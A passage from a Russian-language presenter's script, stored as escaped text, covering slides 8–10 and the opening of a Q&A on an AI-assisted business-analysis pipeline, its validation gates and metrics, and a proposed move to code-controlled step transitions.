\u043a\u0430\u0431\u0438\u043d\u0435\u0442\u0430 \u0438\\n  \u043a\u043e\u043d\u0442\u0430\u043a\u0442-\u0446\u0435\u043d\u0442\u0440\u0430. \u0414\u043b\u044f \u043a\u043e\u043d\u0442\u0430\u043a\u0442-\u0446\u0435\u043d\u0442\u0440\u0430 \u0432 \u043f\u0430\u043a\u0435\u0442\u0435 2 \u043f\u043e\u043b\u043e\u0436\u0438\u0442\u0435\u043b\u044c\u043d\u044b\u0445 \u0438 4\\n  \u043e\u0442\u0440\u0438\u0446\u0430\u0442\u0435\u043b\u044c\u043d\u044b\u0445\\n  [\u0437\u043e\u043b\u043e\u0442\u044b\u0445 \u043a\u0435\u0439\u0441\u0430](https://github.com/G-Ivan-A/hybrid-Intelligence-lab/tree/main/projects/ba-ai-process/dist/execution-package-gigacode-cli/golden)\\n  \u2014 \u043d\u0430 \u0442\u0438\u043f\u043e\u0432\u044b\u0435 \u043f\u0443\u0442\u0430\u043d\u0438\u0446\u044b \u0432\u0440\u043e\u0434\u0435 SLA \u0438 AHT.\\n- \u0413\u0435\u0439\u0442\u044b: \u043c\u0430\u0448\u0438\u043d\u0430 \u043f\u0440\u043e\u0432\u0435\u0440\u044f\u0435\u0442 \u0441\u0442\u0440\u0443\u043a\u0442\u0443\u0440\u0443 \u0438 \u0441\u0445\u0435\u043c\u0443, \u0447\u0435\u043b\u043e\u0432\u0435\u043a \u2014 \u0441\u043c\u044b\u0441\u043b \u0438 \u0441\u043f\u043e\u0440\u043d\u044b\u0435\\n  \u0432\u044b\u0431\u043e\u0440\u044b. \u0427\u0435\u043b\u043e\u0432\u0435\u043a \u043d\u0435 \u043f\u0435\u0440\u0435\u043f\u0440\u043e\u0432\u0435\u0440\u044f\u0435\u0442 \u0442\u043e, \u0447\u0442\u043e \u043c\u043e\u0436\u0435\u0442 \u043f\u0440\u043e\u0432\u0435\u0440\u0438\u0442\u044c \u043c\u0430\u0448\u0438\u043d\u0430.\\n- \u041f\u0440\u043e\u0435\u043a\u0446\u0438\u044f: \u0438\u0437 \u043e\u0434\u043d\u043e\u0433\u043e \u0440\u0430\u0431\u043e\u0447\u0435\u0433\u043e \u0434\u043e\u043a\u0443\u043c\u0435\u043d\u0442\u0430 \u0441\u043e\u0431\u0438\u0440\u0430\u044e\u0442\u0441\u044f \u0447\u0442\u0435\u043d\u0438\u044f \u0434\u043b\u044f \u0431\u0438\u0437\u043d\u0435\u0441\u0430,\\n  \u0441\u043e\u0433\u043b\u0430\u0441\u043e\u0432\u0430\u043d\u0438\u044f, \u0440\u0430\u0437\u0440\u0430\u0431\u043e\u0442\u043a\u0438 \u0438 \u0434\u043e\u0433\u043e\u0432\u043e\u0440\u0430.\\n\\n**\u0421\u0442\u0430\u0442\u0443\u0441 \u2014 \u0441\u043a\u0430\u0437\u0430\u0442\u044c \u043f\u0440\u044f\u043c\u043e:**\\n\\n- \u0420\u0430\u0431\u043e\u0442\u0430\u0435\u0442 \u0438 \u0432\u043e\u0441\u043f\u0440\u043e\u0438\u0437\u0432\u043e\u0434\u0438\u043c\u043e: \u043c\u0430\u0448\u0438\u043d\u043d\u0430\u044f \u043f\u0440\u043e\u0432\u0435\u0440\u043a\u0430 \u0438 \u0441\u0431\u043e\u0440\u043a\u0430 Release. \u0414\u0432\u0435 \u0441\u0431\u043e\u0440\u043a\u0438\\n  \u043e\u0434\u043d\u043e\u0433\u043e \u0440\u0430\u0431\u043e\u0447\u0435\u0433\u043e \u0434\u043e\u043a\u0443\u043c\u0435\u043d\u0442\u0430 \u0434\u0430\u044e\u0442\\n  [\u043f\u043e\u0431\u0430\u0439\u0442\u043d\u043e \u043e\u0434\u0438\u043d\u0430\u043a\u043e\u0432\u044b\u0439 \u0440\u0435\u0437\u0443\u043b\u044c\u0442\u0430\u0442](https://github.com/G-Ivan-A/hybrid-Intelligence-lab/blob/main/projects/ba-ai-process/docs/analysis/2026-09-29-cline-package-expectation-gap.md).\\n- \u0412 \u043f\u0438\u043b\u043e\u0442\u0435 \u043d\u0430 \u0410\u0420\u041c: \u043d\u043e\u0440\u043c\u0430\u043b\u0438\u0437\u0430\u0446\u0438\u044f, \u0441\u0432\u0435\u0440\u043a\u0430, \u0433\u0435\u043d\u0435\u0440\u0430\u0446\u0438\u044f \u2014 \u043d\u0430 \u0441\u0440\u0435\u0437\u0435\\n  `contact-center`.\\n- \u041d\u0435 \u0438\u0437\u043c\u0435\u0440\u0435\u043d\u043e: \u0432\u044b\u0434\u0430\u0447\u0430 \u043a\u0430\u0436\u0434\u043e\u0439 \u043f\u0440\u043e\u0435\u043a\u0446\u0438\u0438 \u0438 \u0447\u0435\u043b\u043e\u0432\u0435\u043a\u043e\u0447\u0438\u0442\u0430\u0435\u043c\u044b\u0439 \u0432\u0438\u0434 \u0440\u0435\u0437\u0443\u043b\u044c\u0442\u0430\u0442\u0430.\\n  \u0421\u0435\u0439\u0447\u0430\u0441 \u043c\u0430\u0448\u0438\u043d\u0430 \u0432\u044b\u0434\u0430\u0451\u0442 \u043a\u0430\u043d\u043e\u043d\u0438\u0447\u0435\u0441\u043a\u0438\u0439 JSON, \u0430 \u0447\u0438\u0442\u0430\u0435\u043c\u044b\u0439 \u0442\u0435\u043a\u0441\u0442 \u2014 \u043f\u0435\u0440\u0435\u0441\u043a\u0430\u0437\\n  \u043c\u043e\u0434\u0435\u043b\u0438. \u042d\u0442\u043e \u0438\u0437\u0432\u0435\u0441\u0442\u043d\u044b\u0439 \u043f\u0440\u043e\u0431\u0435\u043b.\\n\\n**\u041c\u043e\u0441\u0442\u0438\u043a:** \u00ab\u0413\u0434\u0435 \u044d\u0442\u043e\u0442 \u043a\u043e\u043d\u0432\u0435\u0439\u0435\u0440 \u0441\u0435\u0439\u0447\u0430\u0441 \u0438\u0441\u043f\u043e\u043b\u043d\u044f\u0435\u0442\u0441\u044f \u0438 \u043f\u043e\u0447\u0435\u043c\u0443 \u043d\u0430\u043c \u043d\u0443\u0436\u043d\u0430 \u0434\u0440\u0443\u0433\u0430\u044f\\n\u0441\u0440\u0435\u0434\u0430?\u00bb\\n\\n---\\n\\n## \u0421\u043b\u0430\u0439\u0434 8. \u041f\u0438\u043b\u043e\u0442 \u043d\u0430 \u0410\u0420\u041c \u0434\u043e\u043a\u0430\u0437\u0430\u043b \u043c\u043e\u0434\u0435\u043b\u044c; \u0434\u043b\u044f \u0433\u0430\u0440\u0430\u043d\u0442\u0438\u0439 \u043f\u0435\u0440\u0435\u0445\u043e\u0434\u0430\u043c\u0438 \u0434\u043e\u043b\u0436\u0435\u043d \u0443\u043f\u0440\u0430\u0432\u043b\u044f\u0442\u044c \u043a\u043e\u0434, \u0430 \u043d\u0435 \u043c\u043e\u0434\u0435\u043b\u044c\\n\\n**\u0412\u0440\u0435\u043c\u044f:** 2,5 \u043c\u0438\u043d\u0443\u0442\u044b. **\u0426\u0435\u043b\u044c:** \u043e\u0431\u044a\u044f\u0441\u043d\u0438\u0442\u044c \u0442\u0435\u043a\u0443\u0449\u0438\u0439 \u043f\u0438\u043b\u043e\u0442 \u0438 \u043e\u0431\u043e\u0441\u043d\u043e\u0432\u0430\u0442\u044c \u0432\u0435\u043a\u0442\u043e\u0440\\n\u043d\u0430 \u0441\u0435\u0440\u0432\u0435\u0440\u043d\u0443\u044e \u0441\u0440\u0435\u0434\u0443 \u0430\u0440\u0445\u0438\u0442\u0435\u043a\u0442\u0443\u0440\u043d\u044b\u043c \u043f\u0440\u043e\u0431\u0435\u043b\u043e\u043c, \u0430 \u043d\u0435 \u0436\u0435\u043b\u0430\u043d\u0438\u0435\u043c.\\n\\n**\u0422\u0435\u043a\u0441\u0442.**\\n\\n- \u0410\u0440\u0445\u0438\u0442\u0435\u043a\u0442\u0443\u0440\u0430 \u0440\u0430\u0437\u0434\u0435\u043b\u0435\u043d\u0430 \u043f\u043e\\n  [ADR-017](https://github.com/G-Ivan-A/hybrid-Intelligence-lab/blob/main/projects/ba-ai-process/decisions/2026-09-adr-017-ba-ai-process-source-distribution.md):\\n  Source \u0445\u0440\u0430\u043d\u0438\u0442 \u043c\u043e\u0434\u0435\u043b\u044c \u0438 \u043a\u043e\u043d\u0442\u0440\u0430\u043a\u0442\u044b, Distribution \u2014 \u0441\u043a\u043e\u043c\u043f\u0438\u043b\u0438\u0440\u043e\u0432\u0430\u043d\u043d\u044b\u0439 \u043f\u0430\u043a\u0435\u0442,\\n  Runtime \u2014 \u0441\u0440\u0435\u0434\u0443 \u0438\u0441\u043f\u043e\u043b\u043d\u0435\u043d\u0438\u044f, Feedback \u0432\u043e\u0437\u0432\u0440\u0430\u0449\u0430\u0435\u0442 \u043d\u0430\u0431\u043b\u044e\u0434\u0435\u043d\u0438\u044f \u0432 Source.\\n- \u0421\u0435\u0439\u0447\u0430\u0441 \u0434\u0432\u0430 \u043f\u0430\u043a\u0435\u0442\u0430 \u0434\u043b\u044f \u0410\u0420\u041c \u0430\u043d\u0430\u043b\u0438\u0442\u0438\u043a\u0430: GigaCode CLI \u0438 Cline \u0441 Mango AI.\\n  \u041a\u043e\u043c\u043f\u0438\u043b\u044f\u0442\u043e\u0440 \u043e\u0431\u0449\u0438\u0439, \u0432 \u043e\u0431\u043e\u0438\u0445 \u043f\u0430\u043a\u0435\u0442\u0430\u0445 \u043e\u043d \u043f\u043e\u0431\u0430\u0439\u0442\u043e\u0432\u043e \u043e\u0434\u0438\u043d\u0430\u043a\u043e\u0432. \u041e\u0442\u043b\u0438\u0447\u0430\u044e\u0442\u0441\u044f\\n  \u0430\u0434\u0430\u043f\u0442\u0435\u0440\u044b.\\n- \u0413\u043b\u0430\u0432\u043d\u044b\u0439 \u043f\u0440\u043e\u0431\u0435\u043b \u043d\u0430\u0448\u0451\u043b\\n  [\u0430\u0443\u0434\u0438\u0442 \u0441\u0440\u0435\u0434](https://github.com/G-Ivan-A/hybrid-Intelligence-lab/blob/main/projects/ba-ai-process/docs/analysis/2026-09-29-ba-ai-process-runtime-options.md):\\n  \u0443 \u0440\u043e\u043b\u0438 \u043e\u0440\u043a\u0435\u0441\u0442\u0440\u0430\u0442\u043e\u0440\u0430 \u043d\u0435\u0442 \u0438\u0441\u043f\u043e\u043b\u043d\u0438\u0442\u0435\u043b\u044f. \u0412 CLI \u043a\u0430\u0436\u0434\u044b\u0439 \u043f\u0435\u0440\u0435\u0445\u043e\u0434 \u043d\u0430\u0431\u0438\u0440\u0430\u0435\u0442 \u0411\u0410, \u0432\\n  Cline \u043c\u043e\u0434\u0435\u043b\u044c \u0447\u0438\u0442\u0430\u0435\u0442 \u043f\u0440\u0430\u0432\u0438\u043b\u0430 \u0438 \u0440\u0435\u0448\u0430\u0435\u0442 \u0441\u0430\u043c\u0430.\\n- \u041f\u0440\u043e\u0431\u0430 \u044d\u0442\u043e \u043f\u043e\u0434\u0442\u0432\u0435\u0440\u0434\u0438\u043b\u0430: \u0442\u0435\u043a\u0441\u0442 \u00ablorem ipsum\u00bb \u043f\u0440\u043e\u0448\u0451\u043b \u0443\u0437\u043b\u044b n1\u2013n3, \u043f\u043e\u0442\u043e\u043c\u0443 \u0447\u0442\u043e\\n  \u0433\u0435\u0439\u0442 \u043f\u0440\u043e\u0432\u0435\u0440\u044f\u043b \u043f\u0430\u043a\u0435\u0442, \u0430 \u043d\u0435 \u0432\u044b\u0445\u043e\u0434 \u0448\u0430\u0433\u0430. \u041c\u0435\u0442\u0440\u0438\u043a\u0430 \u0434\u043e\u043b\u0438 \u043f\u0440\u043e\u0432\u0435\u0440\u0435\u043d\u043d\u044b\u0445 \u0448\u0430\u0433\u043e\u0432 \u043f\u0440\u0438\\n  \u044d\u0442\u043e\u043c \u043f\u043e\u043a\u0430\u0437\u044b\u0432\u0430\u043b\u0430 1.0.\\n- \u041e\u0442\u0441\u044e\u0434\u0430 \u0432\u0435\u043a\u0442\u043e\u0440. \u0421\u043d\u0430\u0447\u0430\u043b\u0430 runner \u043d\u0430 \u0410\u0420\u041c \u0441\u0442\u0430\u043d\u043e\u0432\u0438\u0442\u0441\u044f \u043b\u0438\u0434\u0435\u0440\u043e\u043c \u043c\u0430\u0440\u0448\u0440\u0443\u0442\u0430. \u0417\u0430\u0442\u0435\u043c\\n  \u0442\u043e \u0436\u0435 \u044f\u0434\u0440\u043e \u0440\u0430\u0431\u043e\u0442\u0430\u0435\u0442 \u043a\u0430\u043a \u0441\u0435\u0440\u0432\u0435\u0440\u043d\u0430\u044f \u0441\u043b\u0443\u0436\u0431\u0430 \u2014 \u0421\u0440\u0435\u0434\u0430 4: \u0441\u043e\u0431\u0441\u0442\u0432\u0435\u043d\u043d\u044b\u0439 \u043a\u043e\u043d\u0435\u0447\u043d\u044b\u0439\\n  \u0430\u0432\u0442\u043e\u043c\u0430\u0442 \u043d\u0430 15 \u0443\u0437\u043b\u043e\u0432, \u0436\u0443\u0440\u043d\u0430\u043b \u0441 \u0446\u0435\u043f\u043e\u0447\u043a\u043e\u0439 \u0434\u0430\u0439\u0434\u0436\u0435\u0441\u0442\u043e\u0432, \u0432\u044b\u0437\u043e\u0432 Mango AI \u043f\u043e\\n  OpenAI-\u0441\u043e\u0432\u043c\u0435\u0441\u0442\u0438\u043c\u043e\u043c\u0443 API \u0438\u0437 \u043a\u043e\u0434\u0430.\\n\\n**\u041f\u043e\u0447\u0435\u043c\u0443 \u043d\u0435 \u0430\u0433\u0435\u043d\u0442\u043d\u044b\u0439 \u0444\u0440\u0435\u0439\u043c\u0432\u043e\u0440\u043a:** \u0445\u043e\u0440\u043e\u0448\u043e \u043e\u043f\u0440\u0435\u0434\u0435\u043b\u0451\u043d\u043d\u0430\u044f \u0437\u0430\u0434\u0430\u0447\u0430 \u0441 \u043a\u043e\u043d\u0442\u0440\u0430\u043a\u0442\u0430\u043c\u0438 \u2014\\n\u044d\u0442\u043e workflow, \u0430 \u043d\u0435 \u0441\u0432\u043e\u0431\u043e\u0434\u043d\u044b\u0439 \u0430\u0433\u0435\u043d\u0442. \u0422\u0430\u043a \u0440\u0435\u043a\u043e\u043c\u0435\u043d\u0434\u0443\u044e\u0442 \u0438 Anthropic \u0432\\n[Building effective agents](https://www.anthropic.com/engineering/building-effective-agents),\\n\u0438 \u043f\u0440\u0438\u043d\u0446\u0438\u043f \u00abOwn your control flow\u00bb \u0438\u0437\\n[12-factor agents](https://github.com/humanlayer/12-factor-agents).\\n\\n**\u041c\u043e\u0441\u0442\u0438\u043a:** \u00ab\u0415\u0441\u043b\u0438 \u043a\u043e\u043d\u0432\u0435\u0439\u0435\u0440 \u0440\u0430\u0431\u043e\u0442\u0430\u0435\u0442 \u0438 \u0443\u043f\u0440\u0430\u0432\u043b\u044f\u0435\u0442\u0441\u044f \u043a\u043e\u0434\u043e\u043c, \u0447\u0442\u043e \u0434\u0430\u0451\u0442 \u044d\u0442\u043e\\n\u043e\u0440\u0433\u0430\u043d\u0438\u0437\u0430\u0446\u0438\u0438 \u0437\u0430 \u043f\u0440\u0435\u0434\u0435\u043b\u0430\u043c\u0438 \u043e\u0434\u043d\u043e\u0433\u043e \u0430\u043d\u0430\u043b\u0438\u0442\u0438\u043a\u0430?\u00bb\\n\\n---\\n\\n## \u0421\u043b\u0430\u0439\u0434 9. \u041c\u0430\u0441\u0448\u0442\u0430\u0431\u0438\u0440\u0443\u0435\u0442\u0441\u044f \u043d\u0435 \u0433\u0435\u043d\u0435\u0440\u0430\u0446\u0438\u044f, \u0430 \u0441\u0442\u0430\u043d\u0434\u0430\u0440\u0442 \u0432\u044b\u0445\u043e\u0434\u0430: \u0435\u0433\u043e \u0441\u043e\u0431\u043b\u044e\u0434\u0435\u043d\u0438\u0435 \u0434\u0435\u043b\u0430\u0435\u0442 \u043f\u0435\u0440\u0435\u0434\u0430\u0447\u0443 \u0432 \u0440\u0430\u0437\u0440\u0430\u0431\u043e\u0442\u043a\u0443 \u0431\u0435\u0441\u0448\u043e\u0432\u043d\u043e\u0439\\n\\n**\u0412\u0440\u0435\u043c\u044f:** 2 \u043c\u0438\u043d\u0443\u0442\u044b. **\u0426\u0435\u043b\u044c:** \u043f\u0435\u0440\u0435\u0432\u0435\u0441\u0442\u0438 \u0440\u0430\u0437\u0433\u043e\u0432\u043e\u0440 \u0441 \u00ab\u0418\u0418 \u043f\u0438\u0448\u0435\u0442 \u0422\u0417\u00bb \u043d\u0430\\n\u00ab\u043e\u0440\u0433\u0430\u043d\u0438\u0437\u0430\u0446\u0438\u044f \u043f\u043e\u043b\u0443\u0447\u0430\u0435\u0442 \u0441\u0442\u0430\u043d\u0434\u0430\u0440\u0442 \u043f\u0435\u0440\u0435\u0434\u0430\u0447\u0438\u00bb.\\n\\n**\u0422\u0435\u043a\u0441\u0442.**\\n\\n- \u041a\u043e\u043d\u0442\u0440\u0430\u043a\u0442 \u0432\u044b\u0445\u043e\u0434\u0430 \u043e\u0434\u0438\u043d \u0434\u043b\u044f \u0432\u0441\u0435\u0445 \u043f\u0440\u043e\u0434\u0443\u043a\u0442\u043e\u0432. \u041d\u043e\u0432\u0430\u044f \u043f\u0440\u043e\u0434\u0443\u043a\u0442\u043e\u0432\u0430\u044f \u043b\u0438\u043d\u0438\u044f\\n  \u0434\u043e\u0431\u0430\u0432\u043b\u044f\u0435\u0442 \u0441\u043b\u043e\u0432\u0430\u0440\u044c \u0438 \u0437\u043e\u043b\u043e\u0442\u044b\u0435 \u043a\u0435\u0439\u0441\u044b, \u0430 \u043d\u0435 \u043d\u043e\u0432\u044b\u0439 \u043f\u0440\u043e\u043c\u043f\u0442. \u041f\u0440\u043e\u0432\u0435\u0440\u043a\u0430 \u043d\u0430\\n  [860 \u0440\u0430\u0437\u0434\u0435\u043b\u0430\u0445](https://github.com/G-Ivan-A/hybrid-Intelligence-lab/blob/main/research/ba-requirements/2026-09-08-kb-slot-fit-facts.md)\\n  \u0431\u0430\u0437\u044b \u0437\u043d\u0430\u043d\u0438\u0439 \u043f\u044f\u0442\u0438 \u043f\u0440\u043e\u0434\u0443\u043a\u0442\u043e\u0432: \u0432\u0441\u0435 \u043b\u0435\u0433\u043b\u0438 \u0432 14 \u0441\u043b\u043e\u0442\u043e\u0432, \u043d\u043e\u0432\u044b\u0439 \u043d\u0435 \u043f\u043e\u043d\u0430\u0434\u043e\u0431\u0438\u043b\u0441\u044f.\\n- \u0421\u0438\u0441\u0442\u0435\u043c\u043d\u044b\u0439 \u0430\u043d\u0430\u043b\u0438\u0442\u0438\u043a \u0438 \u0440\u0430\u0437\u0440\u0430\u0431\u043e\u0442\u0447\u0438\u043a \u043f\u043e\u043b\u0443\u0447\u0430\u044e\u0442 \u0434\u043e\u043a\u0443\u043c\u0435\u043d\u0442 \u0438\u0437\u0432\u0435\u0441\u0442\u043d\u043e\u0439 \u0441\u0442\u0440\u0443\u043a\u0442\u0443\u0440\u044b,\\n  \u0433\u0434\u0435 \u0443 \u043a\u0430\u0436\u0434\u043e\u0433\u043e \u0442\u0440\u0435\u0431\u043e\u0432\u0430\u043d\u0438\u044f \u0435\u0441\u0442\u044c \u0441\u043b\u0435\u0434 \u0434\u043e \u0438\u0441\u0442\u043e\u0447\u043d\u0438\u043a\u0430. \u041f\u0435\u0440\u0435\u0434\u0430\u0447\u0430 \u043f\u0435\u0440\u0435\u0441\u0442\u0430\u0451\u0442 \u0431\u044b\u0442\u044c\\n  \u043f\u0435\u0440\u0435\u0441\u043a\u0430\u0437\u043e\u043c.\\n- \u041a\u0430\u0447\u0435\u0441\u0442\u0432\u043e \u0438\u0437\u043c\u0435\u0440\u044f\u0435\u0442\u0441\u044f\\n  [\u043f\u044f\u0442\u044c\u044e \u043c\u0435\u0442\u0440\u0438\u043a\u0430\u043c\u0438](https://github.com/G-Ivan-A/hybrid-Intelligence-lab/blob/main/projects/ba-ai-process/ba-meta-model/40-practice-and-cases.md):\\n  \u0432\u043e\u0441\u043f\u0440\u043e\u0438\u0437\u0432\u043e\u0434\u0438\u043c\u043e\u0441\u0442\u044c \u0441\u0442\u0440\u0443\u043a\u0442\u0443\u0440\u044b, \u0434\u043e\u043b\u044f \u043e\u0442\u043a\u0430\u0437\u043e\u0432 \u043c\u0430\u0448\u0438\u043d\u043d\u043e\u0433\u043e \u0433\u0435\u0439\u0442\u0430, \u043f\u0440\u0430\u0432\u043a\u0438\\n  \u0447\u0435\u043b\u043e\u0432\u0435\u043a\u0430 \u043f\u043e\u0441\u043b\u0435 \u043c\u0430\u0448\u0438\u043d\u044b, \u043f\u043e\u043b\u043d\u043e\u0442\u0430 \u0441\u043b\u0435\u0434\u0430, \u0434\u043e\u043b\u044f \u043f\u0443\u0441\u0442\u044b\u0445 \u0441\u043b\u043e\u0442\u043e\u0432 \u0441 \u043f\u0440\u0438\u0447\u0438\u043d\u043e\u0439.\\n- \u041f\u0440\u0430\u0432\u0438\u043b\u043e \u0447\u0435\u0441\u0442\u043d\u043e\u0441\u0442\u0438: \u0435\u0441\u043b\u0438 \u043c\u0430\u0448\u0438\u043d\u043d\u044b\u0439 \u0433\u0435\u0439\u0442 \u043d\u0438\u0447\u0435\u0433\u043e \u043d\u0435 \u043e\u0442\u043a\u043b\u043e\u043d\u044f\u0435\u0442, \u043e\u043d \u043d\u0438\u0447\u0435\u0433\u043e \u043d\u0435\\n  \u043f\u0440\u043e\u0432\u0435\u0440\u044f\u0435\u0442. \u041d\u0443\u043b\u0435\u0432\u043e\u0439 `M-2` \u2014 \u0441\u0438\u0433\u043d\u0430\u043b \u0442\u0440\u0435\u0432\u043e\u0433\u0438, \u0430 \u043d\u0435 \u0443\u0441\u043f\u0435\u0445.\\n- \u041e\u0431\u0440\u0430\u0442\u043d\u0430\u044f \u0441\u0432\u044f\u0437\u044c \u043d\u0435 \u0442\u0435\u0440\u044f\u0435\u0442\u0441\u044f: \u0440\u0430\u0441\u0445\u043e\u0436\u0434\u0435\u043d\u0438\u0435, \u043d\u0430\u0439\u0434\u0435\u043d\u043d\u043e\u0435 \u0432 \u0440\u0430\u0431\u043e\u0442\u0435,\\n  \u0432\u043e\u0437\u0432\u0440\u0430\u0449\u0430\u0435\u0442\u0441\u044f \u0432 Source \u0441 \u043f\u0440\u043e\u0438\u0441\u0445\u043e\u0436\u0434\u0435\u043d\u0438\u0435\u043c \u0438 \u0434\u043e\u0445\u043e\u0434\u0438\u0442 \u0434\u043e \u0432\u0441\u0435\u0445 \u043f\u0430\u043a\u0435\u0442\u043e\u0432 \u0447\u0435\u0440\u0435\u0437\\n  \u043f\u0435\u0440\u0435\u043a\u043e\u043c\u043f\u0438\u043b\u044f\u0446\u0438\u044e.\\n\\n**\u041c\u043e\u0441\u0442\u0438\u043a:** \u00ab\u041e\u0441\u0442\u0430\u043b\u043e\u0441\u044c \u0441\u043a\u0430\u0437\u0430\u0442\u044c, \u0447\u0442\u043e \u043a\u043e\u043d\u043a\u0440\u0435\u0442\u043d\u043e \u043c\u044b \u043f\u0440\u0435\u0434\u043b\u0430\u0433\u0430\u0435\u043c \u0441\u0434\u0435\u043b\u0430\u0442\u044c \u0434\u0430\u043b\u044c\u0448\u0435\u00bb.\\n\\n---\\n\\n## \u0421\u043b\u0430\u0439\u0434 10. \u041e\u0442 \u043f\u0438\u043b\u043e\u0442\u0430 \u043a \u0421\u0440\u0435\u0434\u0435 4 \u2014 \u0442\u0440\u0438 \u0448\u0430\u0433\u0430, \u043a\u0440\u0438\u0442\u0435\u0440\u0438\u0439 \u043e\u043f\u0440\u043e\u0432\u0435\u0440\u0436\u0435\u043d\u0438\u044f \u0437\u0430\u0434\u0430\u043d \u0434\u043e \u0441\u0442\u0430\u0440\u0442\u0430\\n\\n**\u0412\u0440\u0435\u043c\u044f:** 1,5 \u043c\u0438\u043d\u0443\u0442\u044b. **\u0426\u0435\u043b\u044c:** \u0437\u0430\u043a\u043e\u043d\u0447\u0438\u0442\u044c \u043a\u043e\u043d\u043a\u0440\u0435\u0442\u043d\u044b\u043c \u0437\u0430\u043f\u0440\u043e\u0441\u043e\u043c \u0438 \u0437\u0430\u0440\u0430\u043d\u0435\u0435\\n\u0437\u0430\u0434\u0430\u043d\u043d\u044b\u043c \u043a\u0440\u0438\u0442\u0435\u0440\u0438\u0435\u043c \u043e\u043f\u0440\u043e\u0432\u0435\u0440\u0436\u0435\u043d\u0438\u044f.\\n\\n**\u0422\u0435\u043a\u0441\u0442.**\\n\\n- \u0428\u0430\u0433 1 \u043d\u0435 \u0442\u0440\u0435\u0431\u0443\u0435\u0442 \u043d\u043e\u0432\u043e\u0439 \u0438\u043d\u0444\u0440\u0430\u0441\u0442\u0440\u0443\u043a\u0442\u0443\u0440\u044b. Runner \u043d\u0430 \u0410\u0420\u041c \u043d\u0430\u0447\u0438\u043d\u0430\u0435\u0442 \u0441\u0430\u043c\\n  \u0441\u0447\u0438\u0442\u0430\u0442\u044c \u043f\u0435\u0440\u0435\u0445\u043e\u0434\u044b, \u043f\u0440\u043e\u0432\u0435\u0440\u044f\u0442\u044c \u0432\u044b\u0445\u043e\u0434 \u043a\u0430\u0436\u0434\u043e\u0433\u043e \u0443\u0437\u043b\u0430 \u0438 \u0443\u043c\u0435\u0442\u044c \u0436\u0434\u0430\u0442\u044c \u043e\u0442\u0432\u0435\u0442\u0430\\n  \u0437\u0430\u043a\u0430\u0437\u0447\u0438\u043a\u0430. \u0417\u0430\u0434\u0430\u0447\u0438 \u0443\u0436\u0435 \u0432\\n  [\u0431\u044d\u043a\u043b\u043e\u0433\u0435](https://github.com/G-Ivan-A/hybrid-Intelligence-lab/blob/main/ops/backlog.md):\\n  B-211\u2026B-213.\\n- \u0428\u0430\u0433 2 \u2014 \u0437\u0430\u043c\u0435\u0440 \u043d\u0430 10 \u0437\u0430\u0434\u0430\u0447\u0430\u0445. \u041a\u0440\u0438\u0442\u0435\u0440\u0438\u0439 \u043e\u043f\u0440\u043e\u0432\u0435\u0440\u0436\u0435\u043d\u0438\u044f \u0437\u0430\u043f\u0438\u0441\u0430\u043d \u0434\u043e \u0441\u0442\u0430\u0440\u0442\u0430:\\n  \u043c\u0435\u043d\u044c\u0448\u0435 95% \u0448\u0430\u0433\u043e\u0432 \u0441 \u043f\u0440\u043e\u0432\u0435\u0440\u0435\u043d\u043d\u044b\u043c \u043a\u043e\u043d\u0442\u0440\u0430\u043a\u0442\u043e\u043c \u0443\u0437\u043b\u0430 \u0438\u043b\u0438 \u0430\u043d\u0430\u043b\u0438\u0442\u0438\u043a \u0442\u0440\u0430\u0442\u0438\u0442 \u043d\u0430\\n  \u043a\u043e\u043c\u0430\u043d\u0434\u044b \u0431\u043e\u043b\u044c\u0448\u0435 \u0432\u0440\u0435\u043c\u0435\u043d\u0438, \u0447\u0435\u043c \u043d\u0430 \u0441\u043e\u0434\u0435\u0440\u0436\u0430\u043d\u0438\u0435 \u2014 \u0430\u0440\u0445\u0438\u0442\u0435\u043a\u0442\u0443\u0440\u0430 \u043f\u0435\u0440\u0435\u0441\u043c\u0430\u0442\u0440\u0438\u0432\u0430\u0435\u0442\u0441\u044f.\\n- \u0428\u0430\u0433 3 \u2014 \u0421\u0440\u0435\u0434\u0430 4. \u0417\u0434\u0435\u0441\u044c \u043d\u0443\u0436\u043d\u044b \u0440\u0435\u0448\u0435\u043d\u0438\u044f \u0441 \u0432\u0430\u0448\u0435\u0439 \u0441\u0442\u043e\u0440\u043e\u043d\u044b: \u0432\u044b\u0437\u043e\u0432 Mango AI \u043f\u043e\\n  API \u0438\u0437 \u043a\u043e\u0434\u0430 \u0438 \u043f\u043b\u043e\u0449\u0430\u0434\u043a\u0430 \u0434\u043b\u044f \u0441\u043b\u0443\u0436\u0431\u044b.\\n- \u0427\u0435\u0433\u043e \u043c\u044b \u043d\u0435 \u0434\u0435\u043b\u0430\u0435\u043c: \u043d\u0435 \u0441\u0442\u0440\u043e\u0438\u043c \u044f\u0434\u0440\u043e \u043d\u0430 low-code \u043e\u0440\u043a\u0435\u0441\u0442\u0440\u0430\u0442\u043e\u0440\u0430\u0445 \u0438 \u043d\u0435 \u043e\u0442\u0434\u0430\u0451\u043c\\n  \u0443\u043f\u0440\u0430\u0432\u043b\u0435\u043d\u0438\u0435 \u043f\u0435\u0440\u0435\u0445\u043e\u0434\u0430\u043c\u0438 \u0430\u0433\u0435\u043d\u0442\u0443.\\n\\n**\u0417\u0430\u0432\u0435\u0440\u0448\u0435\u043d\u0438\u0435:** \u00ab\u041c\u044b \u043f\u0440\u043e\u0441\u0438\u043c \u043d\u0435 \u0431\u044e\u0434\u0436\u0435\u0442 \u043d\u0430 \u0418\u0418-\u0430\u043d\u0430\u043b\u0438\u0442\u0438\u043a\u0430, \u0430 \u043f\u043b\u043e\u0449\u0430\u0434\u043a\u0443 \u0434\u043b\u044f\\n\u043f\u0440\u043e\u0432\u0435\u0440\u043a\u0438 \u0438\u0437\u043c\u0435\u0440\u0438\u043c\u043e\u0439 \u0433\u0438\u043f\u043e\u0442\u0435\u0437\u044b. \u041a\u0440\u0438\u0442\u0435\u0440\u0438\u0439, \u043f\u0440\u0438 \u043a\u043e\u0442\u043e\u0440\u043e\u043c \u043c\u044b \u043f\u0440\u0438\u0437\u043d\u0430\u0435\u043c \u0435\u0451\\n\u043e\u0448\u0438\u0431\u043e\u0447\u043d\u043e\u0439, \u0443\u0436\u0435 \u0437\u0430\u043f\u0438\u0441\u0430\u043d\u00bb.\\n\\n---\\n\\n## \u041e\u0442\u0432\u0435\u0442\u044b \u043d\u0430 \u0432\u0435\u0440\u043e\u044f\u0442\u043d\u044b\u0435 \u0432\u043e\u043f\u0440\u043e\u0441\u044b\\n\\n### \u00ab\u041f\u043e\u0447\u0435\u043c\u0443 \u043d\u0435 \u0432\u0437\u044f\u0442\u044c \u043c\u043e\u0434\u0435\u043b\u044c 